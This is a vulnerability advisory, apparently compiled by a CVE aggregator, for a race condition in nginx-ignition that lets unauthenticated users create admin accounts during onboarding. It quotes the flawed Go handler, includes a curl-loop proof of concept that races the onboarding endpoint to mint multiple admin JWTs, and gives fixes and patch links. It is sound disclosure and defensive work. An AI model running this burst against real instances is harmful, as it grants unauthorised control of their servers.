# CVE-2026-61628:  nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition

> CVE-2026-61628 (GitHub advisory GHSA-pxcx-fv34-x9p5) is a high-severity vulnerability with a CVSS 3.1 base score of 8.1, classed as Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (CWE-362), in github.com/lucasdillmann/nginx-ignition (Go). Affected versions: < 0.0.0-20260621194639-0586b4e55ab. It is fixed in 0.0.0-20260621194639-0586b4e55ab.

Canonical page: https://cveminer.com/vulnerabilities/CVE-2026-61628

| Field | Value |
| --- | --- |
| CVE | CVE-2026-61628 |
| GHSA | GHSA-pxcx-fv34-x9p5 |
| Severity | High |
| CVSS 3.1 | 8.1 `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` (GitHub Advisory Database) |
| CWE | CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') |
| CISA KEV | Not listed |
| SSVC | exploitation poc, automatable no, technical impact total |
| Published | 21 Sept 2026 |
| Modified | 21 Sept 2026 |

## Description

`POST /api/users/onboarding/finish` is registered as **anonymous (unauthenticated)** and creates a user with **full ReadWrite admin permissions**. Because the handler uses a check-then-act (TOCTOU) pattern between the "onboarding already completed?" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race.

#### Affected component

- Endpoint: `POST /api/users/onboarding/finish`
- Route registration: `api/user/routes.go:49` → `authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish")`
- Handler: `api/user/onboarding_finish_handler.go`

#### Technical details

The route is explicitly allowed without authentication:

```go
// api/user/routes.go:48-49
authorizer.AllowAnonymous(http.MethodGet,  "/api/users/onboarding/status")
authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish")
```

The handler reads the onboarding state, returns 403 if already finished, and otherwise creates a user with every permission set to ReadWrite:

```go
// api/user/onboarding_finish_handler.go
func (h onboardingFinishHandler) handle(ctx *gin.Context) {
    alreadyFinished, err := h.commands.OnboardingCompleted(ctx.Request.Context())  // (1) CHECK
    if err != nil { panic(err) }
    if alreadyFinished {
        ctx.Status(http.StatusForbidden)
        return
    }

    requestPayload := &userRequestDTO{}
    if err = ctx.BindJSON(requestPayload); err != nil { panic(err) }

    domainModel := converter.Wrap(ctx.Request.Context(), toDomain, requestPayload)
    domainModel.ID = uuid.New()
    domainModel.Enabled = true
    domainModel.Permissions = user.Permissions{        // full admin
        Hosts:        user.ReadWriteAccessLevel,
        Streams:      user.ReadWriteAccessLevel,
        Certificates: user.ReadWriteAccessLevel,
        Integrations: user.ReadWriteAccessLevel,
        AccessLists:  user.ReadWriteAccessLevel,
        Settings:     user.ReadWriteAccessLevel,
        Users:        user.ReadWriteAccessLevel,
        NginxServer:  user.ReadWriteAccessLevel,
        Caches:       user.ReadWriteAccessLevel,
        // ...all remaining permissions ReadWrite/ReadOnly
    }

    if err = h.commands.Save(ctx.Request.Context(), domainModel, nil); err != nil {  // (2) ACT
        panic(err)
    }
    // ...authenticates and returns a JWT for the new admin
}
```

The gap between **(1)** `OnboardingCompleted()` and **(2)** `Save()` is not protected by a lock, transaction, or unique constraint. Two or more requests can each pass the `alreadyFinished == false` check before any of them commits, so every racing request proceeds to create an admin user and receive a valid admin JWT.

#### Preconditions (stated honestly)

This is exploitable when the instance is in a **pre-onboarding state**:

1. **Fresh deployment** — the time window between the service coming online and the legitimate operator completing onboarding. During this window any unauthenticated party who can reach the instance can register the first/an additional admin. The race lets an attacker slip an admin account in *alongside* the operator's, so the operator's onboarding appears to succeed normally while the attacker silently holds admin.
2. **State reset** — if onboarding state can return to "not completed" (e.g. all users removed), the endpoint reopens and becomes a repeatable unauthenticated admin-creation primitive.

The single-request path is a setup-window exposure; the **race** is what turns "first legitimate admin" into "attacker also gets admin," and what allows multiple admin accounts to be minted from one burst.

#### Proof of concept

Against an instance that has not yet completed onboarding:

```bash
### Fire concurrent onboarding-finish requests; multiple admin accounts are created,
### each returning a valid admin JWT, despite the single-admin intent.
for i in $(seq 1 20); do
  curl -s -X POST http://TARGET/api/users/onboarding/finish \
    -H 'Content-Type: application/json' \
    -d '{"username":"attacker'"$i"'","password":"P@ssw0rd123!"}' \
    -o /dev/null -w "%{http_code}\n" &
done
wait
### Multiple 200 responses (each with a login token) instead of exactly one 200 + N×403.
```

Each `200` response body contains a `userLoginResponseDTO` with a JWT granting full admin access (Hosts/Streams/Certificates/Settings/Users/NginxServer/AccessLists/Caches = ReadWrite). The attacker then has complete control of the nginx-ignition instance and the nginx server it manages.

#### Impact

- **Unauthenticated administrative account takeover** of a fresh (or reset) instance.
- Full admin enables every downstream capability: creating hosts/routes, editing global and per-route nginx configuration, managing access lists and certificates, and controlling the nginx server process. (The config surface is itself injectable — see the related nginx-configuration-injection issues — so admin here is a path to SSRF / arbitrary nginx directives.)
- The TOCTOU race additionally allows minting multiple admin accounts from a single concurrent burst, aiding persistence/stealth.

#### Remediation

1. Make onboarding completion atomic: enforce a database-level unique constraint (e.g. "at most one onboarding user" / single-row guard) so concurrent creates collide, or wrap the check-and-create in a single transaction / mutex.
2. Re-check `OnboardingCompleted()` inside the same transaction that performs the insert, and abort on conflict.
3. Consider requiring a one-time setup token (printed to server logs / env at first boot) for the initial admin creation, eliminating the unauthenticated window entirely.

---
*Finding ID: GM-4607*

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| github.com/lucasdillmann/nginx-ignition | Go | `pkg:golang/github.com/lucasdillmann/nginx-ignition` | < 0.0.0-20260621194639-0586b4e55ab | 0.0.0-20260621194639-0586b4e55ab |

## Fix commits

- Patch: https://github.com/lucasdillmann/nginx-ignition/commit/0586b4e55ab780676d3553a2592979dfa2fb0183
- Pull request: https://github.com/lucasdillmann/nginx-ignition/pull/131
- Release: https://github.com/lucasdillmann/nginx-ignition/commit/801026e29aaa76525e3de5faf1a33573cfa8bc91 (2.41.1)

## Questions

**What is the GHSA ID for CVE-2026-61628?**

GitHub tracks CVE-2026-61628 as GHSA-pxcx-fv34-x9p5.

**What is the CVSS score of CVE-2026-61628?**

CVE-2026-61628 has a CVSS 3.1 base score of 8.1 (High), vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.

**Which versions are affected by CVE-2026-61628?**

github.com/lucasdillmann/nginx-ignition (Go): < 0.0.0-20260621194639-0586b4e55ab.

**How do I fix CVE-2026-61628?**

Upgrade to 0.0.0-20260621194639-0586b4e55ab or later. The fix is in commit 0586b4e and pull request #131.

**What is the Package URL (PURL) for CVE-2026-61628?**

The affected package's PURL is pkg:golang/github.com/lucasdillmann/nginx-ignition.

**Is CVE-2026-61628 exploited in the wild?**

CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-61628. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc".

## References

- https://github.com/lucasdillmann/nginx-ignition/pull/131 (fix)
- https://github.com/lucasdillmann/nginx-ignition/commit/0586b4e55ab780676d3553a2592979dfa2fb0183 (fix)
- https://github.com/lucasdillmann/nginx-ignition/security/advisories/GHSA-pxcx-fv34-x9p5 (advisory)
- https://nvd.nist.gov/vuln/detail/CVE-2026-61628 (advisory)
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/61xxx/CVE-2026-61628.json (advisory)
- https://github.com/advisories/GHSA-pxcx-fv34-x9p5 (advisory)
- https://github.com/lucasdillmann/nginx-ignition (package)
- https://github.com/lucasdillmann/nginx-ignition/releases/tag/2.41.1

---

Source: CVEminer (https://cveminer.com/vulnerabilities/CVE-2026-61628), compiled from OSV (GitHub advisory), GitHub Advisory Database, OSV (CVE record), CVE.org, CISA KEV catalog. OSV and GitHub Advisory Database content is licensed CC BY 4.0.
